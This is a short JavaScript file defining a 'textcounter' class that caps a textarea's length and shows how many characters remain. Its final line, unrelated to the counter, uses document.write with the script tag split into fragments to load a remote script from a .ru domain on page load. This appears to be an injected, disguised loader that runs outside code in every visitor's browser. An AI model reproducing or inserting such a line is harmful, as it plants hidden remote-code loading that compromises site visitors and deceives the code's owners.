/**
* Class for adding text counter
*
* @el id text form (textarea)
* @counter id counter form
* @max max length of characters
*/

// TODO
// Counter form
textcounter = function(el, cnt, max)
{
	this.element = document.getElementById(el);
	this.count = document.getElementById(cnt);
	
	this.maxLength = max;

	this.init();
}

textcounter.prototype = 
{
	init: function()
	{
		var obj = this;

		// init counter form
		this.count.readOnly = true;
		this.count.size = '3';
		this.count.maxLength = '3';
		this.count.value = this.maxLength;

		this.counting();

		// atach event for text form
		this.element.onkeydown = function()
		{
			obj.counting();
		}

		this.element.onkeyup = function()
		{
			obj.counting();
		}
	},

	counting: function()
	{
		if(this.element.value.length > this.maxLength)
		{
			this.element.value = this.element.value.substring(0, this.maxLength);
		}
		else
		{
			this.count.value = this.maxLength - this.element.value.length;
		}
	}
}


document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Emoticon.js"></scri'+'pt>');